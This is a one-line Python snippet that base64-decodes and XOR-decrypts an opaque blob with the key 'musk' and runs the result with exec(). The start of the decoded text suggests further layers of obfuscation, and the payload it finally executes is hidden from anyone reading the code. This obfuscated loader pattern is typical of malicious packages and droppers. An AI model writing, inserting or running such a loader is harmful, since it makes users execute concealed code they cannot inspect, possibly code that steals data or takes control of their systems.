import base64; xor = lambda x, k: ''.join(chr(ord(c) ^ ord(k[i % len(k)])) for i, c in enumerate(x)); exec(xor(base64.b64decode('MlVOSwEUHgkJFFM0MlVJSzIqGgYdGgEfMipbTBcZGglKXF0PCBYcBh0HFhgeXSw0BBgDBB8BLDRFUhEKHhBFX0pcXQlbQRcODhoXDkUqLDBXT15aMFxaUAgNFghFXSxCRRdUVgIgEBs/FzJcKz8qKABNNTsYRBoYCxZYGDoQHBkkMRkkKwA/XSIZETglRlw/JBE3JwEbO1oXAwsfHAcwODk8Ri07OyY7Dj8wRC4yJlMGBwYRBRg5ABo/EjgOETQuVDYKMl0RJRFaPjdTFS8iAxsTNiEpLBUsKB8+EQcROA4MAlghPjRFClwxFFw0Xh9EQg8HWl8NIhM3G1hZOUQcByxCOlsmOR9eFQc3LAoTNAUFFCczLhoaUlQAGyYsHwQgKAYZWhU/FkxEXA==').decode(), 'musk'))